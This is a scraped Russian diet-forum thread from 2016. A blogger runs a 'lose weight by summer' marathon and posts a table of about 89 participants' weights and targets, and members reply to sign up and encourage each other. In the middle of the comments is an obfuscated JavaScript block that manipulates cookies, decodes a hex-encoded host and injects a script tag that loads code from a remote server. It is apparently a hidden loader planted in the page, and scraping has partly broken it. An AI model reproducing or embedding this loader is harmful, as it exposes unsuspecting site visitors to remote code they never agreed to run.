Блог
Войти
Rocksa
Блог Кулинарная книга База продуктов
Rocksa
21.02.2016 17:00

Марафон `Похудей к лету` стоп набор,

До лета остался 101 день. Пора брать себя в руки, переставать халтурить и приводить свое тело в форму достойную самых шикарных купальников! За вашими результатами будет следить все сообщество МЗР. Дополнительная мотивация пойдет на пользу каждому!)) 
Условия участия в марафоне:
1. Записываетесь в этой теме.
2. Указываете ваш вес на 21.02
3. Указываете вашу цель к 1.06 
4. Каждое воскресенье я создаю запись в блоге "N-ая неделя марафона". Вы в комментариях пишите свой порядковый номер, вес и кратко как прошла ваша неделя в плане питания и спорта) 
Я собираю все ваши результаты в один итоговый отчет и публикую его. Как меня не потерять? Добавляйте или тему в избранное или меня в друзья) Следите за моими публикациями!
Халтурить не в ваших интересах!) Интересно сколько человек дойдет до конца и будете ли вы в числе преодолевших этот марафон?))

Список участников:
№ Ник   Стартовый вес  Текущий вес Цель   Осталось до цели
1  Rocksa 66,5 66,5 60 6,5
2  Галин@ 67,7 67,7 60 7,7
3  Полина Головина 62,2 62,2 55 7,2
4  Ирина Миронюк 59 59 55 4
5  Nikol_Yva 83,5 83,5 69,5 14
6 Дина *** 56 56 51 5
7  Irina ZH 80,2 80,2 70 10,2
8  Натали Х 64,1 64,1 57 7,1
9 Hiver 64 64 59 5
10 Марьяна Тихомирова 61 61 55 6
11 Анна Винейру 56 56 50 6
12 Лена 90 90 75 15
13 Анастасия sh 62 62 55 7
14 Татьяна Козырева 74,5 74,5 65 9,5
15 Елена Семашко 80 80 70 10
16 Оля Плотникова 96 96 86 10
17 Екатерина Воронич 77 77 70 7
18 Рамиля       0
19 Ксения А 68,5 68,5 58 10,5
20 Ольга 57 57 53 4
21 luiza terdjanyan 58,5 58,5 50 8,5
22 tat.romusik tat 95,5 95,5 82,5 13
23 Тиана 55,3 55,3 52 3,3
24 Рин 42,4 42,4 50 7,6
25 Eлена Радужная 102,6 102,6 96 6,6
26 женя клименко 74,5 74,5 68 6,5
27 Маша Бурмистрова 65,1 65,1 55 10,1
28 ВАРВАРА ВАРИНА 81 81 69 12
29 Китя 70,5 70,5 64 6,5
30 Olga Volga 60 60 57 3
31 Ольга Березина 76 76 70 6
32 Мария Хат 68 68 60 8
33 Екатерина У 78,9 78,9 75 3,9
34 Natalya 66 66 60 6
35 Татьяна Морозова 97 97 80 17
36 Оля Л 89 89 80 9
37 Леюшка 75 75 67 8
38 Юлия 129 129 110 19
39 Стройная_как_кипарис 68 68 63 5
40 Наталья 67 67 60 7
41 Эл Кул 56 56 51 5
42 наталья суровцева 68,3 68,3 60 8,3
43 Ксения Ляховская 94,1 94,1 85 9,1
44 Анастасия Курбатова 63 63 53 10
45 Алена Павлова 66,4 66,4 58 8,4
46 Татьяна Доронина 74 74 64 10
47 надежда алексеева 87 87 70 17
48 Людмила 71 71 63 8
49 Светлана 71,5 71,5 65 6,5
50 Лилия 60,9 60,9 55 5,9
51 Наталия Осипова 82,8 82,8 70 12,8
52 Наталья 70,8 70,8 65 5,8
53 Маргарита 97 97 85 12
54 Ольга Паточка 75 75 65 10
55 Екатерина Юдина 68 68 59,9 8,1
56 Евгения 59 59 55 4
57 Натали Я 72 72 60 12
58 Julia Yazykova 78,4 78,4 70 8,4
59 Ксения Жосан 67 67 58 9
60 Bagrova 54,4 54,4 44 10,4
61 Наталья Наталья 81 81 74 7
62 Ольга Зан 62,8 62,8 52 10,8
63 Елена Гелова 71 71 65 6
64 Ольга Яр 96 96 80 16
65 Ольга Sova 67,4 67,4 60 7,4
66 Дарья Кондратьева 107,6 107,6 94 13,6
67 Постоянство памяти 92,9 92,9 85 7,9
68 Ольга Паначева 78 78 68 10
69 Ольга Иванова 51,6 51,6 47 4,6
70 Елена Фатеева 131 131 125 6
71 sasha 62,1 62,1 56 6,1
72 Елена Попова  76 76 72 4
73 Наталья Казаркина 75 75 60 15
74 Dalila Bance 79 79 65 14
75 Josalina 61,1 61,1 55 6,1
76 Guly 77 77 69 8
77 Meifa  89,2 89,2 72 17,2
78 Elsa Ugry 79,1 79,1 67 12,1
79 Аня Грибкова 93,6 93,6 80 13,6
80 Олеся Корхова 72,5 72,5 65 7,5
81 Капелька 58 58 53 5
82 Людмила Каледина 79,1 79,1 75 4,1
83 ANNA 84,5 84,5 75 9,5
84 Гулюса 69 69 60 9
85 Happy-life  64,6 64,6 57 7,6
86 Татьяна /Alira/ 79,4 79,4 70 9,4
87 Ольга Бойцова 118 118 114 4
88 Юлия Кремлевская  78,8 78,8 60 18,8
89 Юлия К 64,4 64,4 60 4,4

 59 
 261
Полина Головина 21.02.2016 17:22
Как мне себя в таблицу добавить??? Пишу здесь. Стартовый вес 64 кг. Текущий вес 62.2 кг. (а ведь было же, было 59,9!!!!! Нет, надо было лопать булки!!!). Цель 55 кг. Осталось до це+ли 7 кг.
Ирина Миронюк 21.02.2016 17:24

и меня добавьте вес 59 кг.цель 55 кг.осталось  4 кг.может хоть это меня поднимет меня с дивана .
Галин@ 21.02.2016 17:25
Давайте договоримся сразу ( чтобы не было путаницы ) . Стартовым весом мы считаем вес на начало марафона, то есть сегодняшний. Если я свой стартовый вес 99.7 кг объявлю, то я уже сразу победила)))
Rocksa 21.02.2016 17:25
Полина Головина, все правильно) заявку оставлять тут) В таблицу я сама вас добавлю) Только стартовый вес, это вес на сегодняшний день. На начало марафона) Значит 62,2. Текущий вес это вес который будет меняться по неделям)
Nikol_Yva 21.02.2016 17:25
Присоединяюсь к марафону. Мой вес на сегодняшний день 83.5 кг. Цель: к  01.06.16  весить 69.5 кг, то есть худеть на 1 кг в неделю. Вполне реально, только надо увеличить физ.активность.   Во, как я  замахнулась. .. :o
Дина *** 21.02.2016 17:26
Так, ну у меня кхм весов-то нет. я по объемам ориентируюсь. постараюсь купить на этой неделе, ну или взвеситься у кого-нибудь. Начальный 56, желаемый 51.
и сразу стало страшно опозориться
Галин@ 21.02.2016 17:31
Дина ***, Я так понимаю, что мы все это и затеяли потому , что нам нужен волшебный пендаль в виде публичности результатов. Если мы будем знать, что в конце недели нужно будет опубликовать свой вес, никто не захочет, чтобы он был в плюсе, ибо стыдно)
Людмила Иванова 21.02.2016 17:31
Девочки вы все Мисс-Грации.Я буду за вас болеть и присоединюсь возможно в группу более тяжелого веса.Всем удачи и победы!!!!!!!!!!!!!!
Irina ZH 21.02.2016 17:32
Мой 80,2 к 1 июня планирую 70 кг.
Галин@ 21.02.2016 17:34
Людмила Иванова, Не надо болеть, присоединяйтесь. Если у вас большой вес, это ваше преимущество на старте, вы больше можете скинуть.
Натали Х 21.02.2016 17:34
Девчёнки,  я с вами, тем более, что мы приблизительно сейчас в одном весе, и идем к похожим целям.
Мой вес сегодня 64,1 кг, а желаемый к лету-57!!!
Rocksa 21.02.2016 17:37
Ирина Миронюк, Добавила)
Натали Х 21.02.2016 17:37
Галин@, это нам почти всем нужно)))) 
что-то же дрлжно сработать))))
Hiver 21.02.2016 17:38
Мне точно сюда, огромное спасибо за идею. Вес 64 кг, цель 59 кг. 
Rocksa 21.02.2016 17:53
Людмила Иванова, тут же смысл в достижении поставленной ВАМИ цели. А не кто больше сбросит. У всех разные весовые категории и разные цели)) Так что присоединяйтесь. Ну конечно если это реальные были причины) 
Марьяна Тихомирова 21.02.2016 17:56
С удовольствием присоединяюсь))вес 61,цель-55.Осталось 6
Анна Винейру 21.02.2016 17:56
Присоединяюсь)) мой вес сегодня 56 кг, цель 50 кг!!
YEVHEN 21.02.2016 17:58
Классная табличка!
О! Как нам такой не хватало, когда мы здесь состязались в силовом троеборье.
Сергей Костерин, помнишь?
Rocksa, расскажете? как создается такая прелесть?
Rocksa 21.02.2016 18:08
Євген, Табличка сама? Когда пишите сообщение ищите значок Таблички. Он 4 по счету справа если считать) Выбираете количество столбцов, строк и заполняете)) Только вот не знаю как добавить новые строки...
Лена 21.02.2016 18:09
и меня посчитайте)) вес 90 цель 75 осталось 15 
Анна Иванова 21.02.2016 18:10
Вес - 62
Цель - 55
Осталось 7)
YEVHEN 21.02.2016 18:15
Rocksa, спасибо!
Оказалось все намного проще, чем предполагал 
Rocksa 21.02.2016 18:17
Євген, не нашла как добавить строки, поэтому попробовала через Эксель, создала там табличку, потом скопировала сюда)) Все стало красивенько)) 
Татьяна Козырева 21.02.2016 18:18
Вес-74,5, цель-65, осталось-9,5
YEVHEN 21.02.2016 18:21
Rocksa, эксель - тоже не плохо!
а почему ники не везде активны?
Rocksa 21.02.2016 18:29
Євген, а это как скопируется ник походу. Пока веду табличку одним глазом, как будет окончен набор приведу все к единому красивому виду) Если через Эксель, то ссылка пропадает, надо вручную редактировать.
YEVHEN 21.02.2016 18:41
Rocksa 21.02.2016 18:49
Євген, здесь каждый ставит себе цель) Побеждает сам себя дойдя до нее)) Если сделал что то сверх - это вообще супер!)) Обидно же будет когда у всех есть прогресс а у тебя нету или бросил марафон на пол пути и каждую неделю в ленте будет мелькать табличка с красной надписью ВЫБЫЛ на против твоего имени))) 

А соревноваться мужчинам и женщинам вообще бессмысленно)) Вам все это дается намного проще)) Ну или цели вам надо ставить посерьезней)) И вы можете принять так же участие) И цель поставить любую) например уменьшить процент жира до определенного процента или увеличить силовые показатели на сколько то кг)) Ну конечно если найдете мужчин заинтересованных вам же будет интересней)) Ну а мне не сложно будет сделать для вас отдельную табличку))
Мадам 21.02.2016 18:49
ой.и меня добавьте!     вес-80, в планах-70, осталось 10
Оля 21.02.2016 18:53
Вес на сегодня 96, цель к лету 86, осталось 10,а вообще цель -35 :o
Рамиля 21.02.2016 18:54
Вот это Вы здорово придумали, а можно взвеситься завтра? Я не взвешиваюсь каждый день. 
Екатерина 21.02.2016 18:54
Вес 77, цель 70
Rocksa 21.02.2016 18:58
Рамиля, можно) 
Ольга 21.02.2016 19:07
И меня примите в марафон! Стартовый вес 57, желаемый к лету - 53! До цели 4 кг!
luiza terdjanyan 21.02.2016 19:11
добавьте пожалуйста))) вес 58,5 кг,моя цель 50 кг 
Татьяна 21.02.2016 19:13
Татьяна: стартовый вес 99,6 кг.вес сегодня 95,5кг. Цель к 01.06.2016г.(самой не верится) 82,5 кг.Осталось 13 кг.
Rocksa 21.02.2016 19:16
tat.romusik tat, стартовый вес ваш в марафоне будет считаться 95,5) То есть вес на сегодняшний день
Татьяна 21.02.2016 19:20
Да, конечно! Только возьмите!
Rocksa 21.02.2016 19:22
tat.romusik tat, берем всех желающих) Можете начинать разминаться перед стартом))
Тиана 21.02.2016 19:30
И нас добавьте пожалуйста. Вес на сегодня 55.3. Цель 52. и сын Рин, но ему поправляться надо сегодня 42.4 цель 50.
Какие мы все красивые будем!
Галина_R 21.02.2016 19:31
Девчонки,дерзайте!))умнички!)мне тож нужен пендель,но через месяц я уезжаю ))попробую вдохновляться вашими результатами и сама себе давать пендюлин)
Rocksa 21.02.2016 19:36
Тиана, добавляем конечно) Отчеты только писать обязательно за двоих!)
Радужная 21.02.2016 19:38
а я первая из тяжелой артиллерии :partyкому за 100)
первоначальный-120кг
текущий-102,6
цель-96 кг
Rocksa 21.02.2016 19:38
Галина_R, так может наоборот будет мотивация в поездке не сворачивать с пути истинного?))
Rocksa 21.02.2016 19:40
Eлена Радужная, начальный вес ваш в марафоне 102,6) Что то вы совсем слабенькую цель себе ставите)) 
Радужная 21.02.2016 19:43
Rocksa, Я как черепашка,медленно,но верно!
Тише едешь,дальше будешь
Rocksa 21.02.2016 19:45
Eлена Радужная, ну надеюсь через месяц вы уже будете менять свою цель))
женя клименко 21.02.2016 19:47
я присоединяюсь к вам))мой текущий вес 74.5 желаемый 68
Галина_R 21.02.2016 19:48
Rocksa, да так-то я не сворачиваю..на месте топчусь уже пол-года...тренировки,физическая работа,калории в пределах...и всё.просто сдали нервы.надо посидеть-подумать-разложить по полкам проблемы.такое ощущение,что мне просто нужен психолог(( но я не сдаюсь.да ни за что!!вот прям сейчас сяду и поработаю со своей головой.осталось 8 кг до цели и вот я их мурыжу уже пол-года..всё равно не успею до отъезда.но-сколько успею.надо просто сделать очередной шаг.
Радужная 21.02.2016 19:48
Rocksa, Ура,вы мои мысли прочитали,так хотела 25 номер получить!
А я  смотрю средний запланированный вес у всех 6-7 кг
Варвара ВАРИНА 21.02.2016 19:49
И меня,и меня добавьте!Завтра утром взвешусь,а пока побежала за батарейками в напольные.
Китя 21.02.2016 19:50
 я тоже хочу. 70,5 стартовый цель 64
Радужная 21.02.2016 19:50
Rocksa, невозможное,возможно
Rocksa 21.02.2016 19:53
Eлена Радужная, не так последние 6-7 кг тяжелее уходят намного)) а когда вес под сотню, кг уходят быстрее)
Olga Volga 21.02.2016 19:53
И меня добавьте , пожалуйста!! Мой вес 60 , цель 57 к лету !!
Ольга Березина 21.02.2016 19:57
76 кг,  цель 70, осталось 6 кг по 2 кг в месяц
Радужная 21.02.2016 19:59
Rocksa, 
Мария Хат 21.02.2016 20:00
Примите и меня, стартовый-68, цель - 60.
Екатерина У 21.02.2016 20:01
78,9  цель 75
Natalya 21.02.2016 20:16
Rocksa, запишите и меня в табличку пжста, буду в вашей большой компании искать мышцы под жиром: факт - 66,6, план - 60,0
Галин@ 21.02.2016 21:14
Ничего себе нас набежало! Я и не думала, что столько народу соберётся.
Rocksa 21.02.2016 21:18
Галин@, я тоже думала поменьше будет)) Интересно сколько из записавшихся пришлет 28 числа отчеты))
Оля Л 21.02.2016 21:24
Стартовый - 95. Теперешний - 89. цель к 1.06 - 80. осталось 9 кг
Оля Л 21.02.2016 21:25
Rocksa, Вот интересно, как вас не потерять, чтобы отчеты присылать?
Галин@ 21.02.2016 21:27
Rocksa, Не знаю. сколько людей пришлёт отчёты 28-го, но методом жизненной практики могу спрогнозировать, что  останется до конца более 90% из тех, кто пришлёт 2 отчёта:  28-го и 7-го. А каков будет отсев на старте. узнаем. Это как в институте. большинство уходят в первый год, а кто выдержал, уже идёт до конца).
Юлия 21.02.2016 21:27
И меня возьмите!
начальный вес 132, сейчас 129, цель 90, до цели39
Наталья 21.02.2016 21:28
Я тоже хочу вес 67 цель 60
Стройная_как_кипарис 21.02.2016 21:28
Вес на сегодня - 68 кг, цель к 1.06. - 63 кг
Стройная_как_кипарис 21.02.2016 21:32
Пошла на эллипсе прыгать, что бы 28 стыдно не было!
Галин@ 21.02.2016 21:36
Rocksa, Кстати. у меня предложение по сбору инфы. Вы так. как вы ранее планировали, замучаетесь результаты собирать. Больно уж нас тут много. Давайте по другому. Мы добавляем вас в друзья, чтобы в ленте не искать, через друзей забегаем в ваш блог, где вы каждое воскресенье утром ( а можно даже в субботу. чтобы побольше времени было на сбор) публикуете сообщение типа " скидывайте ваши недельные результаты результаты в рамках марафона "худеем к лету" , и мы все там отписываемся. Только лучше с пометкой . что набор участников окончен . иначе не будет конца и края сообщениям. У нас ведь народ какой: Его спросили , на сколько он похудел за неделю, он ответил, не важно, зачем спросили. и его ли спросили)))
Rocksa 21.02.2016 21:37
Оля Л, в избранное добавьте)  
Rocksa 21.02.2016 21:40
Галин@, Отличный вариант) 
med-ved 21.02.2016 21:50
Юлия написал:
до цели39

Вы все-таки не пытайтесь успеть 40кг до лета. Важнее, чтобы живот и грудь сразу мешочками не повисли и для здоровья тоже лучше помедленней 
наталья суровцева 21.02.2016 21:51
У меня вопрос? Сколько вы планируете набрать? Я успеваю? На всякий случай даю данные вес : 68,3 ; цель : 62 -60кг. Если нет ,так нет. Я не обижусь. Спасибо!
Юлия 21.02.2016 21:57
Видимо не правило поняла - указала свою цель вообще. А к 1.06 реалистичная цель - 110. Как можно исправить?
Ксения Л 21.02.2016 21:58
А меня возьмете? на 21.02 вес 94,1. Цель к 1.06 - хорошо бы 85 кг
Rocksa 21.02.2016 21:58
наталья суровцева, количество участников не ограничено))  Так что милости просим)
Анастасия Курбатова 21.02.2016 21:59
Я тоже хочу )) стартовый 63, цель 50 )) но не знаю правильно ли будет или все-таки начать с цели 55. Что скажете? 
Rocksa 21.02.2016 22:00
Юлия, исправила)
Юлия 21.02.2016 22:01
До цели получается 19 кг
Алена Павлова 21.02.2016 22:04
Всем привет!  Стартовый на 21.02 66,4 кг, цель на 01.06 58 кг
Анастасия Курбатова 21.02.2016 22:06
Стартовый 63 на 21.02, цель 53 на 01.06 
Татьяна Доронина 21.02.2016 22:07
было 76, сейчас 74. хочу 64 . -10
Наталья Веденеева 21.02.2016 22:10
А я пока посижу в сторонке, за всеми понаблюдаю, подержу за всех кулачки, морально поддержу. Удачи вам всем, особенно первым, с тяжелой артиллерии.
надежда 21.02.2016 22:10
стартовый 87,цель 70))))))))НАДО КАК ТО УСПЕТЬ!
Галин@ 21.02.2016 22:14
Анастасия Курбатова, Оцените свои силы реально. Вы здесь ставите задачу сами себе на ближайшие 100 дней. 
Галин@ 21.02.2016 22:16
надежда алексеева, Пожалейте себя. Может хотя бы 75?)))
Людмила Счастливая 21.02.2016 22:21
Текущий 71 кг, цель к 01.06 - 63 кг
надежда 21.02.2016 22:24
Галин@, как получится)))))))надо ставить перед собой трудные задачи))))))))
Анастасия Курбатова 21.02.2016 22:27
Галин@,  да думаю слишком круто за 100 дней  минус 13 кг, хоть это и реально наверно, но все-таки начну с цели 53 ) 
Светлана 21.02.2016 22:33
Вес сегодня 71,5, хочу к окончанию марафона 65
Rocksa 21.02.2016 22:37
Анастасия Курбатова, думаю все таки начните с 55)) потому что последние кг они коварные))
Радужная 21.02.2016 22:38
Наталья Веденеева, ой,вы за меня, да? спасибо!И я  всех поддерживаю!
Пора кричалки сочинять!
Наталия Осипова 21.02.2016 22:45
Приветик! И меня добавьте! Было 86,7 кг , сейчас 82,8 кг, хочу 70 кг,
надежда 21.02.2016 22:48
Rocksa, спасибо!таблицу не получается добавить))))))))
Rocksa 21.02.2016 22:48
Eлена Радужная, не поняла, так вы участвуете или на обочине сидите?)
Наталья Веденеева 21.02.2016 22:52
Rocksa, Елена Радужная участвует, а я на обочине сижу., в группе поддержки.
Радужная 21.02.2016 22:53
Rocksa, и то и другое(т.е за всех участников переживать буду)
Наталья 21.02.2016 22:53
Добрый вечер! И я с вами! Только я видела еще несколько девушек с такими же никами, не перепутаем ))) Вес 70,8 кг, хочу 65кг, осталось 5,8кг.
Маргарита 21.02.2016 22:54
Rocksa  Добавьте и меня, я в начале пути, только месяц как занялась собой, текущий вес 97 кг, цель к июню 85, написала, аж дух у самой захватило.
Ольга Паточка 21.02.2016 22:59
Добрый вечер!И меня добавьте! стартовый 75, цель 65кг
Rocksa 21.02.2016 23:06
Наталья, ваш номер 52) запоминайте и не перепутаете) 
надежда 21.02.2016 23:09
надежда 21.02.2016 23:10
блин,растягивала,как у вас,не получилось
Анастасия Курбатова 21.02.2016 23:12
Rocksa, пожалуй вы правы, а как следующее тогда сообщение убрать? я заново напишу
Ксения Л 21.02.2016 23:13
УРА! Спасибо)
Rocksa 21.02.2016 23:13
надежда алексеева, а что вы хотите сделать я не пойму?) я ваши данные внесла) ваш номер 47. Стартовый вес - это вес на сегодняшний день! На старт марафона)
Евгения 21.02.2016 23:15
Ох, как мне в прошлый раз такой темы не хватало. Мы с подружкой в сообщениях переписывались. Только мы еще и объемы измеряли.))) 
Хочу к вам. Стартовый 59, цель 55. Правда я собиралась уложиться к первому мая. Но вместе в любом случае веселее)
надежда 21.02.2016 23:18
Rocksa, Спасибо!Добавили)))))))))я тупица)))))))
Rocksa 21.02.2016 23:21
Евгения, объему измеряет каждый для себя) И в рассказе как провел неделю это все можно отражать)) Например вы пишите: 56.(ваш номер) Скинула 0,5кг за неделю, но в объемах ушло по 2 см отовсюду! 
Ну а по поводу 1 мая) Значит вам мало того что скинуть, так еще и удержать его до конца марафона)) В общем цели придумываете вы сами))
надежда 21.02.2016 23:24
Rocksa, Вы такая молодец!до меня только дошло,что азарт один из сильнейших мотиваторов!Спасибо!
Julia Yazykova 22.02.2016 00:20
Господи, с пятницы гуляю, а тут соревнования!!!))) я тоже хочу!!! посчитайте меня!!)))
стартовый 86кг, текущий 78,4кг,  цель 70!!!
Галин@ 22.02.2016 00:25
надежда алексеева написал:
азарт один из сильнейших мотиваторов!

Ага. это точно. Первый раз за последние 3 месяца сижу вечером перед компом и не жру))). Надо же к 28-му скинуть хоть сколько-нибудь, чтобы не ударить в грязь лицом перед "коллегами")))
Bagrova 22.02.2016 00:42
И меня запишите, пожалуйста
Стартовый 54,4, текущий 54,4, цель 44!
Наталья Наталья 22.02.2016 00:48
Я с вами. Стартовый вес 83.6 кг, текущий  81, цель 74 кг
Елена Гелова 22.02.2016 01:19
Вместе веселее, стартовый 71 кг, цель к 01.06 - 65 кг.
Rocksa 22.02.2016 02:08
Инна Хализова 22.02.2016 02:55
Не успела,  немного грустно, ну ни чего, буду марафонить самостоятельно. Всем удачи и победы над собой! Самой главной победой!
Дарья Кондратьева 22.02.2016 03:12
(((((((((((((((((9 только я намылилась...
Rocksa 22.02.2016 03:20
Инна Хализова, Дарья Кондратьева, давайте данные) доу утра принимаю еще)
Дарья Кондратьева 22.02.2016 03:36
107.6 кг очень надеюсь дойти до следующего ИМТ - 94 кг )))) самонадеянно )))
Ольга Яр 22.02.2016 05:30
Rocksa, можно запрыгнуть в последний вагон? а то мотивация хромает))) Старотвала в январе со 104, сейчас 96, к лету хочу 80!!!
Постоянство Памяти 22.02.2016 06:21
Если ещё не поздно, то возьмите и меня! Сейчас вес 92,9 , а к лету хочу быть  85-и   килограммовой "дюймовочкой"!
Ольга Паначева 22.02.2016 06:32
Ой! Привет! Втзьмите меня! Вес 78, хочу 68. Я поздно прочитала. Пожалуйста!
Ольга Sova 22.02.2016 06:39
Rocksa,  А у вас утро когда? А то у нас на Дальнем Востоке уже полдень) Может я тоже успею?)) Текущий вес 67, 4 , цель 60 .
Тина Калибернова 22.02.2016 07:47
Инна Хализова, Так быстренько создайте свой, и соревнуйтесь с 1-ми!
Елена 22.02.2016 08:10
Молодец, супер мотивация! Я тоже хотю к вам , я из самых больших девочек сайта  стартовый 152 , текущий 131 , цель 125
Rocksa 22.02.2016 08:42
Марусичка 22.02.2016 08:43
Обалдеть вы тут ночью плодотворно посидели)) Вчера уходила спать -в таблице было 3 человека)) Сегодня  с утра уже 63 !
Rocksa 22.02.2016 08:47
Марусичка, тут пока я спала еще с десяток добавились) В последний вагон)) Чуть позже добавлю всех в таблицу)
massandra 22.02.2016 08:58
Rocksa, я тоже хочу(
Галина_R 22.02.2016 09:04
Галин@ написал:
Первый раз за последние 3 месяца сижу вечером перед компом и не жру)))

  мотивашка сработала))даже я ,начитавшись и вдохновившись,вчера тоже ушла спать в 10 вечера,потому что в 10.30 вечера уже начинается жор.успела!))и ,как обещала-с головой поработала.я так,в сторонке стою,но мотивируюсь__всем-достижения задуманной цели!)  
Елена Попова 22.02.2016 09:06
76 до 64, 12 кг
Елена Попова 22.02.2016 09:10
0й, до 1.06 - 72 
Наталья Казаркина 22.02.2016 11:52
75  до 60
Josalina 22.02.2016 11:59
И я с вами хочу вес - 61.1 , цель - 55 (на 6,1 кг)
Олеся Старожил МЗР 22.02.2016 12:01
Блин, меня реально убивают мысли. Похудеть у лету, весне...А в другие времена года можно быть жирной и страшной?
Guly 22.02.2016 12:04
ну чем не мотивация- целое соревнование. Хорошо бы финалистам какое-нибудь поощрение придумать. Ау, кто богат фантазией. Вес стартовый 77, желаемый 69,минус 8 кг. Как добавить идейного вдохновителя в друзья?
Варвара ВАРИНА 22.02.2016 12:15
  №28 ВАРВАРА ВАРИНА Вес на старте 81 цель к лету 69.
Meifa 22.02.2016 13:00
Эх, не успела - поздно тему увидела... плак-плак... 
Ну да ладно, буду болеть за участников, и участвовать заочно - для себя, так сказать
Rocksa 22.02.2016 13:09
Олеся, зимой не так активно худеется лично не) Но за этот период я успеваю наростить мяска чуток) И да, жирок тоже появляется, фигура не такая звонкая как летом)
Rocksa 22.02.2016 13:13
Guly, ну поощрение каждый сам себе выпишет)) 
Наталья Наталья 22.02.2016 13:13
# 61 Наталья Наталья текущий вес 81 кг. Исправьте пожалуйста.
Rocksa 22.02.2016 13:16
Elsa Ugry 22.02.2016 13:57
Вес на 21.02 - 79,1 кг.
Вес к 01.06 - 67 кг.
Прошу, хоть и с опозданием, внести меня в списки "марафонцев"))
И да прибудет с нами и сила и воля и сила воли 
Наталья Наталья 22.02.2016 14:32
# 61 Наталья Наталья . Текущий вес 81 кг. Исправьте пожалуйста 
Rocksa 22.02.2016 14:43
Наталья Наталья, изменила, таблицу перезалью все будет правильно)
Олеся Корхова 22.02.2016 15:00
Буду следить за вами марафонцами!! Сама себе цель вижу, можно и вносить но в конце отпишусь лично. Цель есть - 7 (а лучше 9 кг). Так что вперед поехали!!!!!!!!!!!!
Капелька 22.02.2016 15:23
58 на 22.02. Цель 53

window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="10709",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Hiver 22.02.2016 15:34
Rocksa, уже наверное в шапке стоит написать Марафон ... закрытым, а то сообщение про окончание сборов теряется в общем потоке.  
Людмила Каледина 22.02.2016 16:00
Вот так ... Пару дней не заглянешь в ленту - и все. Все , естественно самое интересное, пропустила. Печалька...
Тогда сама буду себя подтягивать к лету. Сегодня 79, хочу 75 кг.
Anna 22.02.2016 20:02
Ой,так обидно,самое полезное и пропустила,вот ,называется,погостила недельку у внуков,вернулась и оказалась за воротами....
Людмила Каледина написал:
Тогда сама буду себя подтягивать к лету.

и мне придётся самой себя подтягивать.Сегодня 84.500,хочу 75 к 1 июню.
Гулюса 22.02.2016 20:32
Я тоже с вами!!!! Сейчас 69, хочу 60кг. Удачи всем!!!
Happy-life 22.02.2016 22:02
Девушки, уже совсем прямо поздно к вам присоединиться?
Постоянство Памяти 22.02.2016 22:06
Happy-life, Девочки, может вам действительно вторую команду создать?
Happy-life 22.02.2016 22:16
Постоянство Памяти, да нее. Я лучше сама
Rocksa 22.02.2016 22:48
Rocksa 22.02.2016 22:54
sasha, кидайте данные скорее) только вес на 21 число!!
Натали Х 22.02.2016 22:56
Спасибо,мои хорошие, я в списке!!! УРА!!!!
И сегодня, кроме правильного питания уже была на двух тренировках!!!!
ВСЕ УДАЧИ!!!
Людмила Каледина 22.02.2016 22:59
Rocksa, Стартовый 79,1 . Желаемый 75,0
Rocksa 22.02.2016 23:01
Meifa, скоренько кидайте данные!! Вес стартовый - это ваш вес на 21.02!
Rocksa 22.02.2016 23:05
Олеся Корхова, давайте быстренько начальные данные!!
massandra 22.02.2016 23:10
Rocksa, ураа!!!  на 21 число вес 62.1 начала три недели назад с 64.8 стремлюсь к 56.
Спасибо) 
Ольга Бойцова 22.02.2016 23:13
еще можно добавиться?
Татьяна /Alira/ 22.02.2016 23:14
Ох, успела наконец! А то весь день как не зайду - а поздно уже записываться
Запишите меня, пожалуйста!!
Вес на 21.02 - 79.4 кг
Цель - 70 кг (-9.4 кг)
Ольга Бойцова 22.02.2016 23:16
и меня начальный 118. сейчас 114. цель 99 к лету
Meifa 22.02.2016 23:26
Ух ты, продлили))) Ура!!! Вписываюсь... на 21 число вес 86.2, цель на 01.07 - 72, примерно кило в неделю минус
Meifa 22.02.2016 23:28
Буду стараться... Гантельки, правда, пока так и пылятся в углу, зато лыжи без дела не стоят - напарафинены и смазаны...
Happy-life 22.02.2016 23:33
21.02.16- Вес 64.6. Цель 57 (мечтать, так мечтать!)
Спасибо!
Meifa 23.02.2016 00:01
Эх, так обрадовалась, что опечаталась... Стартовый вес 89.2... но 86.2 не за горами)
Наталья 23.02.2016 00:05
Юлия К. 23.02.2016 00:27
Rocksa, 
64,4 на 21.02. 
стартовый 75,
 хочу 60. 
И меня возьмите))))
Rocksa 23.02.2016 01:12
Юлия К. 23.02.2016 11:05
 Успела)))
Irina ZH 23.02.2016 11:49
Эх. Надо было 100 чел. для ровного счёта
Rocksa 23.02.2016 11:56
